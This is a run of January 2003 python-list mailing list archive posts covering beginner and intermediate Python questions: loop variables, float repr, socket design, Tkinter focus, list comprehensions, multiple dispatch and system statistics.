> ...     i=3
> 
> I would have expected only 1 to be printed, but instead Python
> continues the loop without noticing that the value of i has
> changed. IOW, no side effect.

You've gotten a lot of detailed responses, but maybe this will make it
clearer:

_l = [1,2,3]
for _i in range(len(_l)):
    i = _l[_i]
    print i,
    i = 3 


In this case you obviously wouldn't expect assigning 3 to i to change
the loop, yet this is similar to what is happening in the case you
presented, except that _i is created implicitly by the interpreter and
is hidden from normal Python programs.

Regards,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From Nemesis at nowhere.invalid.it  Mon Jan 27 09:44:00 2003
From: Nemesis at nowhere.invalid.it (Nemesis)
Date: Mon, 27 Jan 2003 14:44:00 GMT
Subject: PyGtk and multiple windows
References: <ijau0b.1j.ln@Nemesis> <L19Z9.5613$V6.7938@news.indigo.ie> <f4b31b.q9.ln@Nemesis>
Message-ID: <c0e31b.tg.ln@Nemesis>

Disinteressandosi completamente del fatto che l'entropia dell'universo
 ? in costante crescita Nemesis l'ha aumentata dicendo:

> Disinteressandosi completamente del fatto che l'entropia dell'universo
>  ? in costante crescita Padraig at Linux.ie l'ha aumentata dicendo:
>> Does this help?
>> http://www.async.com.br/faq/pygtk/index.py?req=show&file=faq10.006.htp
> Thanks, I'll try this solution.

I've tryed and ... it works!!!! :-)
Thank you very much.
-- 
 |\ |       <-> http://digilander.libero.it/nemesis2001/
 | \|emesis <->      "War, war never change us..."
  



From andrew at indranet.co.nz  Thu Jan 30 07:36:12 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Fri, 31 Jan 2003 01:36:12 +1300
Subject: OO design and multiple local sockets
Message-ID: <26200000.1043930172@localhost.localdomain>

I've got an awful case of writer's block on this one :-(

Problem:  I'm writing an app (an implementation of HIP, see 
www.hip4inter.net) that uses raw sockets in a big way.  It needs to bind 
local sockets to each IP address on the system so it can transmit packets 
with each source address.  It also needs to know which address packets were 
received on, and from where.  So far, so good.  It's threaded (pretty much 
necessarily).  There are two pools of sockets for two different protocols 
that have to interact.

Just the code for the protocol transforms and state machines is about 7k 
lines, including tests, and works, but with only a single unbound local 
socket, so some features I can't do yet.

What I can't figure out is what a clean OO design for the socket handling 
looks like, managing the various queues and worker threads without getting 
really hairy.  Can anyone help?

Andrew
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/a990cbd8/attachment.sig>

From cnetzer at mail.arc.nasa.gov  Thu Jan 23 20:12:08 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 23 Jan 2003 17:12:08 -0800
Subject: Why is 2.3 = 2.2999999999999998 ?
In-Reply-To: <b0pvg4$o99@news.Informatik.Uni-Oldenburg.DE>
References: <b0puig$o99@news.Informatik.Uni-Oldenburg.DE> <b0pvg4$o99@news.Informatik.Uni-Oldenburg.DE>
Message-ID: <200301240112.RAA13764@mail.arc.nasa.gov>

On Thursday 23 January 2003 15:26, Arne Koewing wrote:
> i finally got it...
> that's just floats ;-)
>
> not rounding by default is quite irritating but you easily realize
> precision problems...

Note that the "rounding", is a result of printing.  The value in memory 
is the same regardless of how it is printed.  T. Peters (I believe) 
made the change in Python 2.<mumble> with regards to how repr() outputs 
floats.  str() still 'rounds' the output.

Hence:

$ python
Python 2.2.2 (#1, Jan 18 2003, 10:18:59) 
[GCC 3.2.2 20030109 (Debian prerelease)] on linux2
>>> 2.2  
2.2000000000000002
>>> print 2.2
2.2
>>> repr(2.2)
'2.2000000000000002'
>>> str(2.2)
'2.2'
>>> "%f" % 2.2
'2.200000'
>>> 2.2000000000000000
2.2000000000000002
>>> 2.2000000000000001
2.2000000000000002

Also,
>>> 2.2000000000000002 == 2.2
1
>>> 2.2000000000000001 == 2.2
1
>>> 2.2000000000000000 == 2.2
1

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From jack at performancedrivers.com  Mon Jan 13 18:47:33 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Mon, 13 Jan 2003 18:47:33 -0500
Subject: Extracting int from string
In-Reply-To: <m2smvwd5zv.fsf@mother.paradise.lost>; from jdhunter@ace.bsd.uchicago.edu on Mon, Jan 13, 2003 at 04:44:52PM -0600
References: <avvd1l$ee7$1@news.efn.org> <m2smvwd5zv.fsf@mother.paradise.lost>
Message-ID: <20030113184733.B13035@localhost.localdomain>

On Mon, Jan 13, 2003 at 04:44:52PM -0600, John Hunter wrote:
> >>>>> "Spencer" == Spencer Ernest Doidge <spencer at efn.org> writes:
> 
>     Spencer> What would be the best way to extract the integer value
>     Spencer> 45 from the following string?  'X= 45 A'
> 
> With no error checking, etc, the following should speed you on your
> way
> 
>   s = 'X=   45   A'
>   x = int(s.split()[1])
>   print x, type(x)

If you wanted to be a dick...

x = 45 # very efficient, correct for all specified cases

-jackdied





From peter at engcorp.com  Mon Jan  6 08:07:08 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 06 Jan 2003 08:07:08 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com>
Message-ID: <3E197F7C.D4549EC5@engcorp.com>

Greg Brunet wrote:
> 
> - VB.NET (as well as C##) are/can be very strongly statically typed -
> even more so than VB6.  I'm still trying to determine if I like a
> strongly _dynamically_ typed language like Python.  I'm having a hard
> time understanding why it's not better to know at compile time that
> ['foo' + 5] is an exception.  If I have to wait until runtime, then I
> would think that I need to be writing LOTS more error checking code at
> all my function entry points, whereas with strong static typing, I can
> catch all this at compile time.  

While the specific example you quote, where two statically defined
*constants* are being added, *could* be caught by the compiler, 
it's pretty rare to be doing that anyway.  More likely you would
be doing something like ['foo' + bar] where bar is bound to the 5.
That would not be catchable until runtime, by definition.

You are wrong about needing to write LOTS more error checking code
at your function entry points, though.  What you need to do is
write LOTS of unit tests, and acceptance tests, to catch these
problems before you release.  But you do that anyway (right? ;-) )
since the minimal checking your VB.NET compiler does cannot possibly 
catch the majority of problems in your code...

-Peter



From jorgencederberg at hotmail.com  Fri Jan 31 01:57:51 2003
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Fri, 31 Jan 2003 07:57:51 +0100
Subject: WinCVS macros
References: <0r2j3v4e6hpv4ed4i0g7f60bp7tt8qksk0@4ax.com>
Message-ID: <3E3A1E6F.30800@hotmail.com>

Dale Strickland-Clark wrote:
> This will be old news to some, I'm sure but I only discovered it a
> week ago.
> 
> WinCVS, a nice GUI interface to CVS client commands, is replacing TCL
> as the macro language with Python.
> 
> It's only in beta at the moment but we're using it with no problems.

I haven't tried it yet, but will, when it is out of beta.

> 
> Now as soon as I can figure out how to get WinCVS to put 'Edit with
> Pythonwin' on the context menu for .py files, or better still, edit
> them on a double-click instead of running them, I will be happy.

Not that difficult (unless the interface has changed dramatically since 
the ver. 1.2 I use). Select the 'Admin' menu, then 'Preferences'. Select 
the 'WinCvs' tab. Here you can enter the 'Default Viewer used to open 
files' and even select the 'Use on double click' check box if desired.

Hope this helps
J?rgen




From whit at shaftnet.org  Sat Jan 25 15:04:32 2003
From: whit at shaftnet.org (Whit Whitfield)
Date: 25 Jan 2003 12:04:32 -0800
Subject: beating a dead horse: automated form submission
Message-ID: <b0e655d.0301251204.5b7415e5@posting.google.com>

I have searched google groups and docs/faqs for days and cannot seem
to get my
script to automate a form submission to work correctly.  I am trying
to mimic
an end user and can communicate with the page via httplib, but cannot
figure out how to actually submit the data.  Any help is appreciated,

Whit Whitfield



From ajs at ix.netcom.com  Mon Jan 20 08:59:58 2003
From: ajs at ix.netcom.com (Arthur)
Date: Mon, 20 Jan 2003 08:59:58 -0500
Subject: license
Message-ID: <000701c2c08c$512cf350$06a49840@Arts>

Terry -

>You may not like how that developer's package works.  I personally agree
>with your opinion on the design issue (at least as far as I understand you
>-- I haven't seen the rebuttal, only your statement that you didn't
>understand it, which is hardly a strong case). But as I posted, you already
>have perfectly adequate remedies for it:

>* Use somebody else's package if there is one.

>* Make your own replacement (by patching or forking if possible).

Can you find me the case where overwriting the index to the Python
documentation without warning on a download of a 3rd party module is OK?

What case do I need to make, other than to state the facts.

OK, OK - I hereby put the license issue aside.

But I am also makling Free Software.  Not only am I making Free Software, I
am making it during my Free Time.

I am asking the distributor to do no more than bring his distribution into
reasonable compliance with normal practice, because I am otherwise
uncomfortable - trying myself to adhere to good practice - asking my users
to download that distribution.

Yes, I can replace, fork, patch, redistribute. port, recode whatever.

All of which is time consuming. And, in this case, should be totally
unnecessary.

Is the Free Software world possible, without some voluntary adherence to
standards?

Art







From nobody at nowhere.near.here  Thu Jan 23 07:40:35 2003
From: nobody at nowhere.near.here (nobody)
Date: Thu, 23 Jan 2003 12:40:35 -0000
Subject: Alternative to os.listdir()/os.stat()
References: <mailman.1043304821.26500.python-list@python.org>
Message-ID: <b0ons3$q7g$1@newsg2.svr.pol.co.uk>

Also os.path.walk() could be an improvement.

"Alfredo P. Ricafort" <alpot at mylinuxsite.com> wrote in message
news:mailman.1043304821.26500.python-list at python.org...
> Hi,
>
> I'm trying to get the files under a directory and its details. What  I
> did is to call os.listdir() and then os.stat(). So my code looks
> something like this:
>
>
>     fileList=os.listdir(path)
>     for i in range(len(fileList)):
>         f=os.stat(path+'/'+j)
>
> However, I noticed that this approach takes a long time when the
> directory contains lots of files. So what I am looking for now is a
> function that can give me the details is one go, much like 'ls -ltra' in
> UNIX.
>
> Does one exists?
>
> AL
>
>





From mwm at mired.org  Thu Jan  9 10:57:38 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 09 Jan 2003 15:57:38 GMT
Subject: invoking multiple methods (Was: Python vs. Ruby)
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net> <3E1CD82B.3E67E420@alcyone.com>
Message-ID: <x7heciuxhp.fsf_-_@guru.mired.org>

Erik Max Francis <max at alcyone.com> writes:

> "Stuart D. Gathman" wrote:
> >   aList.sort();.reverse()       # aList.sort(); aList.reverse()
> > A statement cannot begin with '.', so ';.' means to invoke another
> > method
> > on the same object.
> But is this awkwardness really worth it?  One of Python's truly great
> assets is its transparently readable code.  I'm opposed on general
> principle to anything which defeats that.

True. However, the idea of specifying multiple methods on the same
object is consistent with recent changes (op=, for instance), and
seems useful enough to be worth writing a PEP for - *if* a readable
syntax can be invented for it.

I don't like ;.. I'm not sure I like the idea of tweaking the
semantics of statement at all. Maybe something like:

        aList.(sort(), reverse())

Almost like using a tuple as the method, and it does all the
invocations in the tuple. Except it isn't a real tuple, because the
methods aren't reall calls.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From kkto at csis.hku.hk  Thu Jan 30 00:00:19 2003
From: kkto at csis.hku.hk (Isaac To)
Date: 30 Jan 2003 13:00:19 +0800
Subject: [ [ [] * y for y in range(3) ] * x for x in range(2) ]
References: <2463d77d.0301292034.1fdc47bd@posting.google.com>
Message-ID: <7iznpjdyfw.fsf@enark.csis.hku.hk>

>>>>> "Marcel" == Marcel  <marcel_achim at videotron.ca> writes:

    Marcel> Hi, I'm trying to allocate nested lists up-front using the
    Marcel> subject line, instead of generating : [ [ [], [], [] ], [ [],
    Marcel> [], [] ] ] I end up with : [ [], [ [], [], [] ] ]

    Marcel> I guess I screwed up something, but I'm failing to understand
    Marcel> what...

    Marcel> Any idea ?

Hint: range(3) means [0,1,2], so [[]*y for y in [0,1,2]] has first element
[], second [[]], third [[], []].

Regards,
Isaac.



From simonb at webone.com.au  Thu Jan 16 04:21:59 2003
From: simonb at webone.com.au (Simon Burton)
Date: Thu, 16 Jan 2003 20:21:59 +1100
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no>
Message-ID: <pan.2003.01.16.09.21.58.489535@webone.com.au>

On Thu, 16 Jan 2003 10:04:55 +0100, Thomas Weholt wrote:

> In my day-job I use Delphi/Object Pascal. My firm has a coding-standard
> where we prefix all variables with a single character to indicate datatype;
> strings are prefixed with s, integers with i, floats with f etc. etc.
> 


I like to keep my namespaces so small that the prefix is all that's
needed, especially the standards like strings/ints/floats, but even my
lists are called just "l". dicts have more fancy names usually, tho. Wait
a minute, my c code is the same! gee.

thanks for asking,

Simon Burton.




From pyth at devel.trillke.net  Sun Jan  5 20:21:56 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Mon, 6 Jan 2003 02:21:56 +0100
Subject: Opinions, please: Repository module
In-Reply-To: <200301052234.51596.andy@eastonwest.co.uk>; from andy@eastonwest.co.uk on Sun, Jan 05, 2003 at 10:34:51PM +0000
References: <200301052234.51596.andy@eastonwest.co.uk>
Message-ID: <20030106022156.D17919@prim.han.de>

andy wrote:
> Ok, I know I'm going out on a limb here: forum newbie who no-one knows ;-) ...
> 
> I'm working on a little project - for my kids, actually - and I had a need to 
> code a module to provide a 'central network place to store miscellaneous 
> stuff'.  No security or reliablility assurance is required either.  
> 
> I googled for an existing module, but found none simple enough (got lots of 
> interesting stuff about distributed processing systems and so on though)...
> 
> Initially, I thought "ok, just use a shared directory".  Tried that, but the 
> latency was *way* too severe, and unpredictable, even on my little 100mb 
> network.
> 
> I realised I was going to have to bite the bullet and learn to use sockets.  I 
> was off work for the christmas break, 9 days or so, and spent much of this 
> time digging, until I was totally googled out.  
> 
> After a bit of a tough learning curve (things not working as I expected them 
> to etc.) I now have a working 'prototype'.
> 
> So, what I want to know is - Is anyone interested in trying it out? I'd like 
> some (hopefully constructive) comments, but not really along the lines of 
> 'you should have used x, y or z library bacause lah lah lah', more on doing 
> what I'm doing better.

I am interested but might take some time to review your code (that
depends obviously :-).  I understand your intention and think it is perfectly
fine to go for a totally simple solution.  

> It uses sockets, and is loosely based on an old chat-server example by J. 
> Strout (www.strout.net), so it uses a round-robin approach, with the sockets 
> in non-blocking mode.  I specifically wanted to code this myself, pig-headed 
> that I am, to learn a bit of the practicalities of socket programming; yes I 
> know I could have used SocketServer, Twisted or any number of other modules 
> hanging round there in cyberspace.  However, as I said, I wanted to know how 
> it worked from the /inside/.
> 
> My solution is not that elegant yet (I'm working on that though) but it does 
> seem to work ok; it's as fast as I need it and it takes minimal cpu - hardly 
> noticeable on my Linux PII/300.
> 
> What it does:
> 
> Sets up a socket.
> Listens on it.
> Sets it to non-blocking mode.
> Loops forever:
> 	checks for any new connections;
> 		stores them in a connection list.
> 	iterates the connetction list:
> 		checks for any incoming data on each connection
> 			processes each request and returns a result
> 
> Requests come in as a clear-text dictionary:
> 	{"request":"...","keys":{"k":v...}}
> 
> 	These are evaluated (for convenience) by eval().  Yes, I know this is risky,
> 	but it' easy, ok.

sounds quite ok.  Don't mind all these people who trade security for
freedom&fun :-)

> Response returned as the original incoming key with 'comments':
> 	# successful request
> 	'{"request":"...","response":"ok","keys":{"k":v...}}  '
> 	- or -
> 	# failed request
> 	'{"request":"...","response":"no","reason":"error string","keys":{"k":v...}}'
> 
> So far only two requests are supported:
> 
> 	"set" - sets key values
> 	"query" - queries key values
> 
> The key values are stored in a dictionary by the server.
> 
> I'm going to have to clean the code up a lot before I can post it.  
> 
> I just /bet/ someone is going to tell me now that there's already something 
> out there which does exactly this :-(
> 
> Anyway, anyone interested?

Yes, if it is at most four screens of simple code :-)

regards,

    holger




From ehigionni at katamail.com  Thu Jan  9 03:31:45 2003
From: ehigionni at katamail.com (Gionni)
Date: 9 Jan 2003 00:31:45 -0800
Subject: Zope
References: <d96ed82b.0301080107.4d94a53@posting.google.com> <avgqs6$s36$07$1@news.t-online.com>
Message-ID: <d96ed82b.0301090031.7aa4244d@posting.google.com>

Thomas Guettler <zopestoller at thomas-guettler.de> wrote in message news:<avgqs6$s36$07$1 at news.t-online.com>...
> There is something broken with your python version.
> Start the python interpreter you use for installing.

I solved th problem, thanks. The python interpreter was badly
decompressed and some modules were missing.

>   thomas

Thank you for your help, Gionni



From inyeol.lee at siimage.com  Tue Jan  7 19:40:36 2003
From: inyeol.lee at siimage.com (Inyeol Lee)
Date: Tue, 7 Jan 2003 16:40:36 -0800
Subject: list comprehensions value assignment syntax error
In-Reply-To: <20030107191822.GA3891@nl.linux.org>
References: <20030107191822.GA3891@nl.linux.org>
Message-ID: <20030108004036.GB6966@siliconimage.com>

On Tue, Jan 07, 2003 at 08:18:22PM +0100, Gerrit Holl wrote:
> Hi,
> 
> I am trying to assign to a list item using list comprehensions, but this
> raises a SyntaxError:
> 
> >>> [l[i] = chr(i) for i in range(256)]
>    File "<stdin>", line 1
>        [l[i] = chr(i) for i in range(256)]
> 	             ^
> 				 SyntaxError: invalid syntax
> 
> Why?

L = [chr(i) for i in range(256)]




From v.wehren at home.nl  Tue Jan  7 17:22:47 2003
From: v.wehren at home.nl (v.wehren)
Date: Tue, 7 Jan 2003 23:22:47 +0100
Subject: Tkinter keybindings
References: <3n6cva.n64.ln@anto.cuni.lan>
Message-ID: <avfjij$bcb$1@news2.tilbu1.nb.home.nl>

http://www.nmt.edu/tcc/help/pubs/tkinter.pdf is your friend...

Chapter 21. Focus: routing keyboard input:

"Because Text widgets can contain tab characters, you must use the special
key
sequence CONTROL-TAB to move focus past the widget" -

Vincent Wehren



to move the focus past a text widget.
"Antonio Cuni" <cuniREMOVE_THIS at programmazione.it> schrieb im Newsbeitrag
news:3n6cva.n64.ln at anto.cuni.lan...
> Probably this is a simple problem, but I don't know how to solve it;
> I have a simple Tkinter window containing some Entry'es and a Text
> widget.
> When the focus is on an Entry pressing <TAB> moves the focus on the next
> widget, and this is fine. But when the Text is focused a <TAB> inserts a
> tabulation into the widget, without moving the focus: how can I simulate
> the usual behaviour?
> I tried to play with bind, but without any noticeable results :-(
>
> thanks in advance
>
> ciao Anto
> --
> "Computer science is not about computers any more than astronomy
> is about telescopes." -- EW Dijkstra





From cppdan at dansmart.com  Mon Jan  6 01:47:52 2003
From: cppdan at dansmart.com (Dan Smart)
Date: Mon, 06 Jan 2003 06:47:52 GMT
Subject: HELP! Must choose language!
References: <mailman.1041826389.10740.python-list@python.org>
Message-ID: <Xns92FB125E71FFAMe@167.206.3.2>

"Delaney, Timothy" <tdelaney at avaya.com> wrote in
news:mailman.1041826389.10740.python-list at python.org: 
>> From: Grant Edwards [mailto:grante at visi.com]
>> 
>> That would be an interesting approach.  I think everybody should
>> learn PDP-11 assembly and look at the instruction set at the 
>> machine level.  It
>> was a beautiful design.
It surely was. I love 'JMP .foo'[1]
> 
> The Nova 2 (also a descendent of the PDP-8) was a much nicer design
> than the PDP-11. Very consistent.
> 
I don't remember PDP11 assembler as being terribly inconsistent.

>> > I'm even hoping to teach a class that way...
>> 
>> I wonder if you could find a PDP-11 simulator and assembler 
>> somewhere...
There is very definitely a PDP11 emulator that runs on Linux, at least two 
major financial institutions[2] run their back office systems[3] on it[4]. 
Whether it is freely available, I am unsure, I will make inquiries.
> 
> I wrote as a group final-year uni project some time ago a Nova 2
> simulator called "Satori" (named after "Nova Satori" in Robotech: The
> Robotech Masters ;) I even wrote an assembler for it.
> 
> Front panel with usable switches, teletype, tape reader and puncher,
> the works. Fun stuff. Written in C on the Mac.
> 
I'd be interested in seeing that if you still have it.

Dan "I love google: www.pdp11.org" Smart

[1] Which of course is a no-op.
[2] No names, they embarass easily...
[3] Legacy Systems eh, Gor bless 'em.
[4] Parts for PDP11's are about as common as rocking horse droppings, I 
made a killing on my spare PDP11/73[5].
[5] No, you can't afford the non-spare one[6].
[6] Hasty correction, you *almost certainly* can't afford...

-- 
Dan Smart. C++ Programming and Mentoring.
cppdan at dansmart.com
ADDvantaged



From skip at pobox.com  Thu Jan 23 22:27:39 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 23 Jan 2003 21:27:39 -0600
Subject: Is that a memory leak ?
In-Reply-To: <3e307296$0$243$626a54ce@news.free.fr>
References: <3e307296$0$243$626a54ce@news.free.fr>
Message-ID: <15920.45739.170660.588439@montanaro.dyndns.org>

    vonstroheim> if I repeatedly enter:
    vonstroheim> class A(object):pass

    vonstroheim> the number of REFS raises and so does the value returned by
    vonstroheim> len(gc.get_objects())
    vonstroheim> (even if I use gc.collect())

Can't reproduce on MacOSX using 2.2.2 or latest CVS.  Does it leak when run
in a non-debug build?

Skip




From dallasm at aiinet.com  Sun Jan 19 01:04:54 2003
From: dallasm at aiinet.com (Mahrt, Dallas)
Date: Sun, 19 Jan 2003 01:04:54 -0500
Subject: Undefined symbols when importing extension module.
Message-ID: <638AA0336D7ED411928700D0B7B0D75B02E1F1AA@aimail.aiinet.com>

First the application:

I am writing a library which embeds the Python interpreter. This library is
created as a shared library which is loaded (at runtime) by an application
to add 'Python support'. To reduce resource consumption, the Python
interpreter is compiled as a shared library (version 2.2.1 with back-ports
of the 2.3 patches for building as a shared library) . This is all being
written for Linux.

Now that my convoluted application has been explained, here is the problem I
am noticing. I have the application written so a test python module is being
imported. This module imports the time module (time.so) which complains that
it can't locate the symbol 'PyExc_IOError'. Now based on some posts I've
seen (and against the warnings of many) I added a call to
setdlopenflags(RTLD_NOW | RTLD_GLOBAL). This worked for a while until I
added multithread support (PyEval_InitThreads), now I am getting the same
problem. Confuses the heck out of me.

Now I don't expect definitive answers but I would appreciate some
suggestions on where/what to try. I have so far ensured that the libraries
are linked with '-export-dynamic'

(And yes I realize that this is one odd application of Python, did I
mentions its cross-compiled ;-) ) 

---
Dallas S. Mahrt              dallasm at aiinet.com




From gbrunet at nospamsempersoft.com  Wed Jan 15 20:11:56 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Wed, 15 Jan 2003 19:11:56 -0600
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov> <mailman.1042676428.15278.python-list@python.org>
Message-ID: <v2c1n5ebuvd890@corp.supernews.com>

It seems that you should be asking this question on the newsgroup of the
DB engine you're using.  Some have a function that would allow you to
convert the string(s) to a number & then compare it properly.  If yours
doesn't, then it would seem that fixed length number strings is the only
other alternative.  I'm not sure if you are saying that a variable
length binary string compares correctly, but it doesn't compare any
better than a variable length integer string.

--
Greg


"Chris Spencer" <clspence at one.net> wrote in message
news:mailman.1042676428.15278.python-list at python.org...
The comparison will not be done inside of a Python interpreter, but in
an SQL statement. ie...
select blah from table where value>"999" and value<"3432";

We're storing arbitrary data in text blobs, so we can't make "value"
above an
integer type.

As I mentioned in my first post, while the above SQL statement would be
incorrect, the below SQL code WOULD.

select blah from table where value>"00000999" and value<"00003432";

This just seems incredibly hack-y to me.  It means that we'd have a
hardcoded
limit for padding values with zeroes.  It gets even more fun when I talk
floating point values...But one step at a time.

Note that this works as well:
select blah from table where value>"1111100111" and
value<"110101101000";

However, I've not been able to find an equivalent to hex() or oct() that
would
turn integers into binary string representation.  If there IS such a
beastie,
please let me know.

Chris.





From skip at pobox.com  Tue Jan 28 17:24:06 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 28 Jan 2003 16:24:06 -0600
Subject: .pyc files
In-Reply-To: <b16ul1$ki17d$1@fido.engr.sgi.com>
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
        <3E35F105.27C32244@engcorp.com>
        <_anZ9.1126$8p1.805@nwrddc04.gnilink.net>
        <mailman.1043727350.17568.python-list@python.org>
        <b16ul1$ki17d$1@fido.engr.sgi.com>
Message-ID: <15927.774.716646.46878@montanaro.dyndns.org>

    Paul> Skip suggested:
    >> http://www.python.org/dev/peps/pep-0304.html

    Paul> How about instead:

    Paul>     http://www.python.org/peps/pep-0304.html

My subconscious wanted to limit the amount of feedback so I could declare
victory and go home. ;-)

Skip




From uwe.schmitt at procoders.net  Thu Jan  2 08:04:23 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 2 Jan 2003 13:04:23 GMT
Subject: Printing
References: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl>
Message-ID: <av1dcn$v3fk5$2@hades.rz.uni-sb.de>

Pawel J. Maczewski <pjmacz at slcj.uw.edu.pl> wrote:
> Hi,
>   I have a question: how to print (sic!) in python (I use wxPy). The point
> is, that is should be os-independent :) I can generate the data to print
> in XML, HTML, PS... how to print it under windows? ;)

And I forgot another method: make a copy of a file, e.g. a ps-file,
to the file "prn:". This will work if your printer is connected
to your computer immediatly.

Greetings, Uwe.

> best regards,
>    Pawel J. Maczewski @ HIL
>     reg.linux user #281878


-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From spencer at efn.org  Tue Jan 28 17:29:56 2003
From: spencer at efn.org (Spencer Ernest Doidge)
Date: 28 Jan 2003 22:29:56 GMT
Subject: USB support for Pywin?
Message-ID: <b17094$40m$1@news.efn.org>

What, if anything, exists by way of USB support for Python in the 
wonderful (!) world of  Windows? I would like to write scripts that communicate
with devices via USB, if that is feasible.
-- 
Spencer Doidge



From grante at visi.com  Mon Jan 27 23:04:53 2003
From: grante at visi.com (Grant Edwards)
Date: 28 Jan 2003 04:04:53 GMT
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com>
Message-ID: <slrnb3c0lg.b4r.grante@localhost.localdomain>

In article <3e35fde8_3 at corp.newsgroups.com>, Norm wrote:
> I would like to open this unix passwd file and chang the GID of those who
> have a GID of 200 to 199
> 
> This does everything except change fields[3] to 199

> for record in records:
>     fields = record.split(':')
>     if fields[3] == "200":
>         print fields[0], " has a GID of 200"
>         print "now changing it to 199"
>         fields[3] = 199

You probably want

          fields[3] = "199"

> file.close()

-- 
Grant Edwards                   grante             Yow!  Can I have an IMPULSE
                                  at               ITEM instead?
                               visi.com            



From graham.lee at invalid.wadham.ox.ac.uk  Mon Jan 27 05:26:28 2003
From: graham.lee at invalid.wadham.ox.ac.uk (Frodo Morris)
Date: Mon, 27 Jan 2003 10:26:28 +0000
Subject: Purpose of Python Type Checking?
In-Reply-To: <mailman.1043633328.27598.python-list@python.org>
References: <mailman.1043633328.27598.python-list@python.org>
Message-ID: <b131gk$4nb$1@news.ox.ac.uk>

Mongryong wrote:
> Why do people use type checking in Python?  
> 
> Yes, I know its to "ensure" that parameters are valid but doesn't that
> defeat the whole purpose of one of Python's main feature? Polymorphism
> and code reuse.
[I know this is only *just* on-topic, but felt that someone had to say it]
Polymorphism and code re-use, the *two* main features of Python. 
Polymorphism, code re-use and readability.  The three main features of 
Python are: oh bugger, I'll come in again.
[You are now returned to your normal schedule]
-- 
FM




From gerhard.haering at gmx.de  Fri Jan  3 16:38:14 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 3 Jan 2003 21:38:14 GMT
Subject: getting cross platform system information
References: <av4v3j$nhk$1@newsg1.svr.pol.co.uk>
Message-ID: <slrnb1c0m6.3kp.gerhard.haering@lilith.my-fqdn.de>

Simon Bunker wrote:
> Does anyone know how to get processor load, RAM usage and disk usage on
> linux/unix and Windows?

I'll answer for Unix:

processor load =>       uptime
disk usage =>           df

RAM usage: I don't believe you can do this portably on Unix. On Linux,
you can evaluate the output of 'free' or read /proc/meminfo directly
(with commands.getoutput or os.popen).

For Windows, you'll probably want to download the win32 extensions and
look what goodies there are in the win32api module.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From mertz at gnosis.cx  Sat Jan  4 13:58:42 2003
From: mertz at gnosis.cx (David Mertz)
Date: Sat, 04 Jan 2003 13:58:42 -0500
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
 <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org>
 <3e159dcc_2@news.bluewin.ch> <mailman.1041622110.1975.python-list@python.org>
 <3e15fae2$1_2@news.bluewin.ch> <mailman.1041633502.6402.python-list@python.org>
 <3e161eb2$1_1@news.bluewin.ch> <mailman.1041666668.8010.python-list@python.org>
 <m2k7hlyu0l.fsf@mycroft.actrix.gen.nz>
Message-ID: <i7yF+kKkXo0I092yn@gnosis.cx>                       

|On Sat, 04 Jan 2003 02:36:07 -0500, David Mertz wrote:
|> But the idea of raising an error on inconsistencies also strikes me as a
|> wart for the same reason that I think the incommensurability of complex
|> numbers with other objects is a wart (and Python's biggest wart).  It is
|> a nod to purity over practicality. In this case, I'd rather have something
|> that is unintuitive at the margins than I would an exception.

Paul Foley <see at below.invalid> wrote previously:
|When you write
|  "foo" + 7
|and get an exception, is that a "wart"?  You'd rather get "something
|unintuitive" than an exception, right? :-)

The thing is, the only way that I can even begin to comprehend what Paul
thinks he is arguing is by putting on my "purity-beats-all-else"
blinders/glasses.  Python isn't (supposed to be) a bondage-and-discipline
language... which only from a total purity perspective would mean it
never raised exceptions.

That said, I'll finish reading "A Monotonic Superclass Linearization for
Dylan" today... maybe I'll be more convinced then.  But I definitely see
the introduction of brand new exceptions for the same actions that used
to work as a *bad thing*, that needs an awfully strong justification.  I
don't find "because the new way is theoretically pure" to be such a
reason.

Yours, David...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From martin at v.loewis.de  Sun Jan 12 16:24:00 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
